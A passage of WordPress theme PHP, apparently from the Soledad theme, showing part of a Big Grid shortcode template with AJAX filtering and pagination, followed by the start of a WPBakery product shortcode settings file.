	$data_class   .= ' penci-fixh';
	$bgcontent_pos = 'on';
}

if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
	$bg_columns        = $bg_columns ? $bg_columns : '3';
	$bg_columns_tablet = $bg_columns_tablet ? $bg_columns_tablet : '';
	$bg_columns_mobile = $bg_columns_mobile ? $bg_columns_mobile : '1';
	$wrapper_class    .= ' penci-grid-col-' . $bg_columns;
	if ( $bg_columns_tablet ) {
		$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
	}
	$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
}

$wrapper_class .= ' penci-bgrid-based-' . $biggid_type . ' penci-bgrid-' . $biggid_style . ' pcbg-ficonpo-' . $formaticon_pos . ' pcbg-reiconpo-' . $reviewpie_pos . ' penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
if ( $flag_style && 'yes' == $onecol_mobile ) {
	$wrapper_class .= ' penci-bgrid-monecol';
}
if ( $flag_style && 'yes' == $sameh_mobile ) {
	$wrapper_class .= ' penci-bgrid-msameh';
}

if ( 'yes' == $title_anivisi ) {
	$wrapper_class .= ' pcbg-titles-visible';
}

if ( 'yes' == $apply_spe_bg_subtitle ) {
	$wrapper_class .= ' pcbg-mask-subtitle';
}

if ( 'yes' == $apply_spe_bg_title ) {
	$wrapper_class .= ' pcbg-mask-title';
}

if ( 'yes' == $apply_spe_bg_meta ) {
	$wrapper_class .= ' pcbg-mask-meta';
}

if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
	$wrapper_class .= ' textop';
} else {
	$wrapper_class .= ' notextop';
}

if ( 'yes' == $hide_subtitle_mobile ) {
	$wrapper_class .= ' hide-msubtitle';
}
if ( 'yes' == $hide_desc_mobile ) {
	$wrapper_class .= ' hide-mdesc';
}
if ( 'yes' == $hide_readmore_mobile ) {
	$wrapper_class .= ' hide-mreadmorebt';
}
$big_items = penci_big_grid_is_big_items( $biggid_style );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class  = 'penci-clearfix penci-biggrid-wrapper';
$css_class .= $wrapper_class;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'biggrid' );
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		$atts['blockid'] = $block_id;
		add_action(
			'penci_block_title_extra_' . $block_id,
			function () use ( $atts ) {
				$link_group_cats   = $atts['biggrid_ajaxfilter_cat'];
				$link_group_tags   = $atts['biggrid_ajaxfilter_tag'];
				$link_group_author = $atts['biggrid_ajaxfilter_author'];
				$link_group_out    = $link_group_out_before = $link_group_out_after = '';

				$data_settings_tabs                       = array();
				$data_settings_tabs['query']              = $atts['build_query'];
				$data_settings_tabs['style']              = $atts['style'];
				$data_settings_tabs['overlay_type']       = $atts['overlay_type'];
				$data_settings_tabs['bgcontent_pos']      = $atts['bgcontent_pos'];
				$data_settings_tabs['content_display']    = $atts['content_display'];
				$data_settings_tabs['disable_lazy']       = $atts['disable_lazy'] == 'yes';
				$data_settings_tabs['image_hover']        = $atts['image_hover'];
				$data_settings_tabs['text_overlay']       = $atts['text_overlay'];
				$data_settings_tabs['text_overlay_ani']   = $atts['text_overlay_ani'];
				$data_settings_tabs['thumb_size']         = $atts['thumb_size'];
				$data_settings_tabs['bthumb_size']        = $atts['bthumb_size'];
				$data_settings_tabs['mthumb_size']        = $atts['mthumb_size'];
				$data_settings_tabs['bg_postmeta']        = $atts['bg_postmeta'];
				$data_settings_tabs['primary_cat']        = $atts['primary_cat'] == 'yes';
				$data_settings_tabs['show_readmore']      = $atts['show_readmore'] == 'yes';
				$data_settings_tabs['hide_cat_small']     = $atts['hide_cat_small'] == 'yes';
				$data_settings_tabs['hide_meta_small']    = $atts['hide_meta_small'] == 'yes';
				$data_settings_tabs['hide_rm_small']      = $atts['hide_rm_small'] == 'yes';
				$data_settings_tabs['title_length']       = $atts['title_length'];
				$data_settings_tabs['readmore_icon']      = $atts['readmore_icon'] == 'yes';
				$data_settings_tabs['show_formaticon']    = $atts['show_formaticon'] == 'yes';
				$data_settings_tabs['show_reviewpie']     = $atts['show_reviewpie'] == 'yes';
				$data_settings_tabs['readmore_icon_pos']  = $atts['readmore_icon_pos'];
				$data_settings_tabs['hide_excerpt_small'] = $atts['hide_excerpt_small'];
				$data_settings_tabs['excerpt_length']     = $atts['excerpt_length'];
				$data_settings_tabs['jscomposer']         = 'yes';

				$query = penci_build_args_query( $atts['build_query'] );

				$ppp = isset( $query['posts_per_page'] ) && $query['posts_per_page'] ? $query['posts_per_page'] : get_option( 'posts_per_page' );

				$link_group_out_before .= '<nav data-number="' . $ppp . '" data-query_type="ajaxtab" data-layout="' . esc_attr( $atts['style'] ) . '" data-settings="' . htmlentities( json_encode( $data_settings_tabs ), ENT_QUOTES, 'UTF-8' ) . '" data-more="' . esc_attr( $atts['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
				$link_group_out_after   = '</ul></nav>';

				$has_link = false;

				if ( $link_group_cats ) {
					$has_link        = true;
					$link_group_cats = explode( ',', $link_group_cats );
					foreach ( $link_group_cats as $link_cat ) {
						$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" aria-label="Category" data-paged="1" data-id="' . md5( 'cat-link-' . $link_cat ) . '" data-cat="' . $link_cat . '">' . get_term_field( 'name', $link_cat ) . '</a></li>';
					}
				}

				if ( $link_group_tags ) {
					$has_link        = true;
					$link_group_tags = explode( ',', $link_group_tags );
					foreach ( $link_group_tags as $link_tag ) {
						$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" aria-label="Paged" data-paged="1" data-id="' . md5( 'tag-link-' . $link_tag ) . '" data-tag="' . $link_tag . '">' . get_term_field( 'name', $link_tag ) . '</a></li>';
					}
				}

				if ( $link_group_author ) {
					$has_link          = true;
					$link_group_author = explode( ',', $link_group_author );
					foreach ( $link_group_author as $author ) {
						$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" aria-label="Paged" data-paged="1" data-id="' . md5( 'author-link-' . $author ) . '" data-cat="' . $author . '">' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
					}
				}

				if ( 'nextprev' == $atts['paging'] ) {
					$link_group_out .= '</ul><ul class="pcflx-nav">';
					$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
					$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
				}

				if ( $link_group_out ) {
					$first_class            = $has_link ? 'visible' : 'hidden-item';
					$link_group_out_before .= '<li class="all ' . $first_class . '"><a data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $atts['group_more_defaultab_text'] . '</a></li>';
					wp_enqueue_script( 'penci_ajax_filter_bg' );
					echo $link_group_out_before . $link_group_out . $link_group_out_after;
				}
			}
		);
		Penci_Vc_Helper::markup_block_title( $atts );
		?>
		<div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
			<div class="penci-biggrid-inner">
				<?php
				$bg = 1;
				if ( 'post' == $biggid_type ) {
					$post_meta       = $bg_postmeta ? explode( ',', $bg_postmeta ) : array(
						'cat',
						'title',
						'author',
						'date',
					);
					$primary_cat     = $primary_cat ? $primary_cat == 'yes' : '';
					$show_readmore   = $show_readmore ? $show_readmore == 'yes' : '';
					$hide_cat_small  = $hide_cat_small ? $hide_cat_small == 'yes' : '';
					$hide_meta_small = $hide_meta_small ? $hide_meta_small == 'yes' : '';
					$hide_rm_small   = $hide_rm_small ? $hide_rm_small == 'yes' : '';
					$show_formaticon = $show_formaticon ? $show_formaticon == 'yes' : '';
					$show_reviewpie  = $show_reviewpie ? $show_reviewpie == 'yes' : '';
					$paging          = $paging ? $paging : 'none';
					$paging_align    = $paging_align ? $paging_align : 'align-center';


					$args          = penci_build_args_query( $build_query );
					$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

					$query_custom = new \WP_Query( $args );
					if ( ! $query_custom->have_posts() ) {
						$output = '';
						if ( current_user_can( 'manage_options' ) ) {
							$output .= '<div class="penci-missing-settings">';
							$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
							$output .= '<span>Big Grid</span>';
							$output .= penci_get_setting( 'penci_ajaxsearch_no_post' );
							$output .= '</div>';
						}

						echo $output;
					}

					if ( $query_custom->have_posts() ) {
						$num_posts = $query_custom->post_count;
						if ( $flag_style ) {
							echo '<div class="penci-big-grid-ajax-data">';
						}

						echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						while ( $query_custom->have_posts() ) :
							$query_custom->the_post();
							$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = false;
							$is_big_item         = '';
							$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
							$thumbnail           = $thumb_size;
							if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
								$thumbnail   = $bthumb_size;
								$is_big_item = ' pcbg-big-item';
							}
							if ( penci_is_mobile() ) {
								$thumbnail = $mthumb_size;
							}
							if ( ! $is_big_item ) {
								if ( 'yes' == $hide_cat_small ) {
									$hide_cat_small_flag = true;
								}
								if ( 'yes' == $hide_meta_small ) {
									$hide_meta_small_flag = true;
								}
								if ( 'yes' == $hide_rm_small ) {
									$hide_rm_small_flag = true;
								}
							}

							include __DIR__ . '/based-post.php';

							if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
								echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							}

							++$bg;
						endwhile;
						echo '</div>';

						if ( $flag_style ) {
							echo '</div>';
						}

						if ( 'loadmore' == $paging || 'scroll' == $paging ) {
							$data_settings                      = array();
							$data_settings['query']             = $args;
							$data_settings['style']             = $biggid_style;
							$data_settings['overlay_type']      = $overlay_type;
							$data_settings['bgcontent_pos']     = $bgcontent_pos;
							$data_settings['content_display']   = $content_display;
							$data_settings['disable_lazy']      = $disable_lazy;
							$data_settings['image_hover']       = $image_hover;
							$data_settings['text_overlay']      = $text_overlay;
							$data_settings['text_overlay_ani']  = $text_overlay_ani;
							$data_settings['thumb_size']        = $thumb_size;
							$data_settings['bthumb_size']       = $bthumb_size;
							$data_settings['mthumb_size']       = $mthumb_size;
							$data_settings['bg_postmeta']       = $post_meta;
							$data_settings['primary_cat']       = $primary_cat == 'yes';
							$data_settings['show_readmore']     = $show_readmore == 'yes';
							$data_settings['hide_cat_small']    = $hide_cat_small == 'yes';
							$data_settings['hide_meta_small']   = $hide_meta_small == 'yes';
							$data_settings['hide_rm_small']     = $hide_rm_small == 'yes';
							$data_settings['title_length']      = $title_length;
							$data_settings['readmore_icon']     = $readmore_icon;
							$data_settings['show_formaticon']   = $show_formaticon == 'yes';
							$data_settings['show_reviewpie']    = $show_reviewpie == 'yes';
							$data_settings['readmore_icon_pos'] = $readmore_icon_pos;
							$data_paged                         = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

							$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, 'UTF-8' );

							$button_class = ' penci-ajax-more penci-bgajax-more-click';
							if ( 'loadmore' == $paging ) :
								wp_enqueue_script( 'penci_bgajax_more_posts' );
							endif;
							if ( 'scroll' == $paging ) :
								$button_class = ' penci-ajax-more penci-bgajax-more-scroll';
								wp_enqueue_script( 'penci_bgajax_more_scroll' );
							endif;
							?>
							<div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
								<a class="penci-ajax-more-button" href="#" aria-label="More Posts" data-layout="<?php echo $biggid_style; ?>"
									data-settings="<?php echo $data_settings_ajax; ?>"
									data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
									data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
									<span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
											class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
								</a>
							</div>
							<?php
						} elseif ( 'none' != $paging ) {
							echo penci_pagination_numbers( $query_custom, $paging_align );
						}
					}
					wp_reset_postdata();

				} else {
					$biggrid_items = $biggrid_items ? (array) vc_param_group_parse_atts( $biggrid_items ) : array();
					$num_posts     = count( $biggrid_items );
					if ( ! empty( $biggrid_items ) ) {
						echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						foreach ( $biggrid_items as $setting ) {
							$is_big_item = '';
							$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
							$thumbnail   = $thumb_size;
							if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
								$thumbnail   = $bthumb_size;
								$is_big_item = ' pcbg-big-item';
							}
							if ( penci_is_mobile() ) {
								$thumbnail = $mthumb_size;
							}

							/* Get Custom Items Data */
							$item_id     = ' vc-repeater-item-' . $bg;
							$image_data  = $setting['image'] ? wp_get_attachment_url( $setting['image'] ) : '';
							$image_url   = penci_get_image_size_url( $image_data, $thumbnail );
							$image_ratio = penci_get_ratio_size_based_url( $image_data );
							$sub_title   = $setting['sub_title'] ? $setting['sub_title'] : '';

							$title           = $setting['title'] ? $setting['title'] : '';
							$title_link      = '';
							$title_link_prop = isset( $setting['title_link'] ) ? vc_build_link( $setting['title_link'] ) : '';
							if ( $title_link_prop ) {
								$title_link       = $title_link_prop['url'] ? $title_link_prop['url'] : '';
								$title_external   = $title_link_prop['target'] ? ' target="' . esc_attr( $title_link_prop['target'] ) . '"' : '';
								$title_link_title = $title_link_prop['title'] ? ' title="' . esc_attr( $title_link_prop['title'] ) . '"' : '';
							}


							$desc = $setting['desc'] ? $setting['desc'] : '';

							$button_text      = $setting['button_text'] ? $setting['button_text'] : '';
							$button_link      = '';
							$button_link_prop = isset( $setting['button_link'] ) ? vc_build_link( $setting['button_link'] ) : '';
							if ( $button_link_prop ) {
								$button_link       = $button_link_prop ? $button_link_prop['url'] : '';
								$button_external   = $button_link_prop['target'] ? ' target="' . esc_attr( $button_link_prop['target'] ) . '"' : '';
								$button_link_title = $button_link_prop['title'] ? ' target="' . esc_attr( $button_link_prop['title'] ) . '"' : '';
							}

							include __DIR__ . '/custom.php';

							if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
								echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							}

							++$bg;
						}
						echo '</div>';
					}
				}
				?>
			</div>
			<?php
			if ( $atts['biggrid_ajaxfilter_cat'] || $atts['biggrid_ajaxfilter_tag'] || $atts['biggrid_ajaxfilter_author'] || 'nextprev' == $atts['paging'] ) {
				echo penci_get_html_animation_loading( $atts['biggrid_ajax_loading_style'] );
			}
			?>
		</div>
	</div>
<?php
require __DIR__ . '/css.php';
PK     0w\I
G  G  +  js_composer/shortcodes/product/settings.phpnu [        <?php
$group_color = 'Typo & Color';
vc_map( array(
	'base'          => 'penci_product',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Product', 'soledad' ),
	'description'   => __( 'Show the latest product', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Date Source', 'soledad' ),
			'value'            => array(
				esc_html__( 'All Products', 'soledad' )            => 'product',
				esc_html__( 'Featured Products', 'soledad' )       => 'featured',
				esc_html__( 'Sale Products', 'soledad' )           => 'sale',
				esc_html__( 'Products with NEW label', 'soledad' ) => 'new',
				esc_html__( 'Bestsellers', 'soledad' )             => 'bestselling',
				esc_html__( 'List of IDs', 'soledad' )             => 'ids',
				esc_html__( 'Top Rated Products', 'soledad' )      => 'top_rated_products',
				esc_html__( 'Recent Viewed', 'soledad' )           => 'recent_viewed',
			),
			'std'              => 'product',
			'param_name'       => 'post_type',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => __( 'Included Only', 'soledad' ),
			'value'            => '',
			'param_name'       => 'include',
			'edit_field_class' => 'vc_col-sm-6',
			'hint'             => esc_html__( 'Add products by title.', 'soledad' ),
			'settings'         => array(
				'multiple' => true,
				'sortable' => true,
				'groups'   => true
			),
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => __( 'Excluded', 'soledad' ),
			'value'            => '',
			'param_name'       => 'exclude',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => __( 'Categories OR Tags', 'soledad' ),
			'value'            => '',
			'param_name'       => 'taxonomies',
			'edit_field_class' => 'vc_col-sm-6',
			'settings'         => array(
				'multiple'       => true,
				// is multiple values allowed? default false
				// 'sortable' => true, // is values are sortable? default false
				'min_length'     => 1,
				// min length to start search -> default 2
				// 'no_hide' => true, // In UI after select doesn't hide an select list, default false
				'groups'         => true,
				// In UI show results grouped by groups, default false
				'unique_values'  => true,
				// In UI show results except selected. NB! You should manually check values in backend, default false
				'display_inline' => true,
				// In UI show results inline view, default false (each value in own line)
				'delay'          => 500,
				// delay for search. default 500
				'auto_focus'     => true,
				// auto focus input, default true
			),
		),
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Order by', 'soledad' ),
			'value'            => array(
				''                                            => '',
				esc_html__( 'Date', 'soledad' )               => 'date',
				esc_html__( 'ID', 'soledad' )                 => 'id',
				esc_html__( 'Author', 'soledad' )             => 'author',
				esc_html__( 'Title', 'soledad' )              => 'title',
				esc_html__( 'Last modified date', 'soledad' ) => 'modified',
				esc_html__( 'Number of comments', 'soledad' ) => 'comment_count',
				esc_html__( 'Menu order', 'soledad' )         => 'menu_order',
				esc_html__( 'Meta value', 'soledad' )         => 'meta_value',
				esc_html__( 'Meta value number', 'soledad' )  => 'meta_value_num',
				esc_html__( 'Random order', 'soledad' )       => 'rand',
				esc_html__( 'Price', 'soledad' )              => 'price',
			),
			'std'              => '',
			'edit_field_class' => 'vc_col-sm-6',
			'param_name'       => 'orderby',
		),
		array(
			'type'             => 'textfield',
			'heading'          => __( 'Offset', 'soledad' ),
			'value'            => '',
			'param_name'       => 'offset',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Query Type', 'soledad' ),
			'value'            => array(
				esc_html__( 'OR', 'soledad' )  => 'or',
				esc_html__( 'AND', 'soledad' ) => 'and',
			),
			'std'              => 'or',
			'param_name'       => 'query_type',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => __( 'Sort order', 'soledad' ),
			'value'            => array(
				esc_html__( 'Inherit', 'soledad' )    => '',
				esc_html__( 'Descending', 'soledad' ) => 'DESC',
				esc_html__( 'Ascending', 'soledad' )  => 'ASC',
			),
			'std'              => 'DESC',
			'param_name'       => 'order',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'        => 'textfield',
			'heading'     => __( 'Meta Key', 'soledad' ),
			'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
			'value'       => '',
			'std'         => '',
			'param_name'  => 'meta_key',
		),
	), array(
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Products Display', 'soledad' ),
			'value'            => array(
				esc_html__( 'Grid', 'soledad' )     => 'grid',
				esc_html__( 'List', 'soledad' )     => 'list',
				esc_html__( 'Carousel', 'soledad' ) => 'carousel',
			),
			'std'              => 'grid',
			'param_name'       => 'layout',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 3,
			'param_name'       => 'columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Tablet Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 2,
			'param_name'       => 'tablet_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Mobile Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 1,
			'param_name'       => 'mobile_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'textfield',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Items per page', 'soledad' ),
			'std'              => '12',
			'param_name'       => 'items_per_page',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Paginations', 'soledad' ),
			'value'            => array(
				esc_html__( 'Inherit', 'soledad' )           => '',
				esc_html__( 'Load more button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinit scrolling', 'soledad' ) => 'infinit',
				esc_html__( 'Links', 'soledad' )             => 'links',
				esc_html__( 'Hidden', 'soledad' )            => 'none',
			),
			'std'              => '',
			'param_name'       => 'pagination',
			'edit_field_class' => 'vc_col-sm-4',
		),

		// Carousel Settings
		array(
			'type'       => 'penci_responsive_sizes',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Scroll per page', 'soledad' ),
			'param_name' => 'scroll_per_page',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Next Previous Button', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_prev_next_buttons',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Pagination Control', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_pagination_control',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Loop', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'wrap',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Autoplay', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'autoplay',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'       => 'textfield',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Carousel Speed', 'soledad' ),
			'std'        => '300',
			'param_name' => 'speed',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Init carousel on scroll', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'scroll_carousel_init',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),
	), array(
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Style', 'soledad' ),
			'value'      => array(
				esc_html__( 'Inherit from the Theme Settings', 'soledad' ) => 'inherit',
				'Default'                                              => 'standard',
				'Style 1'                                              => 'style-1',
				'Style 2'                                              => 'style-2',
				'Style 3'                                              => 'style-3',
				'Style 4'                                              => 'style-4',
				'Style 5'                                              => 'style-5',
				'Style 6'                                              => 'style-6',
			),
			'std'        => 'style-1',
			'param_name' => 'product_style',
		),
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Image Size', 'soledad' ),
			'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'param_name' => 'img_size',
		),
		array(
			'type'       => 'textfield',
			'group'      => 'Product Style',
			'heading'    => __( 'Custom Image Size', 'soledad' ),
			'value'      => '',
			'param_name' => 'img_custom_size',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Sale Countdown', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'sale_countdown',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Stock Progress Bar', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'stock_progress_bar',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Product Category', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'product_categories',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Product Rating', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'product_rating',
		),
	), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_pdc_settings',
			'heading'          => esc_html__( 'Product Style & Color', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Product Title Color', 'soledad' ),
			'param_name'       => 'product_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Product Title Font Size', 'soledad' ),
			'param_name'       => 'product_title_font_size',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Product Category Color', 'soledad' ),
			'param_name'       => 'product_category_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Product Category Font Size', 'soledad' ),
			'param_name'       => 'product_category_font_size',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Product Price Color', 'soledad' ),
			'param_name'       => 'product_price_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Product Price Font Size', 'soledad' ),
			'param_name'       => 'product_price_font_size',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Color', 'soledad' ),
			'param_name'       => 'product_pagination_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Border Color', 'soledad' ),
			'param_name'       => 'product_pagination_boder_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Hover Color', 'soledad' ),
			'param_name'       => 'product_pagination_hover_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Border Hover Color', 'soledad' ),
			'param_name'       => 'product_pagination_border_hover_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Current Item Color', 'soledad' ),
			'param_name'       => 'product_pagination_current_item_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Current Item Border Color', 'soledad' ),
			'param_name'       => 'product_pagination_current_item_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Pagination Current Background Color', 'soledad' ),
			'param_name'       => 'product_pagination_current_bg_color',
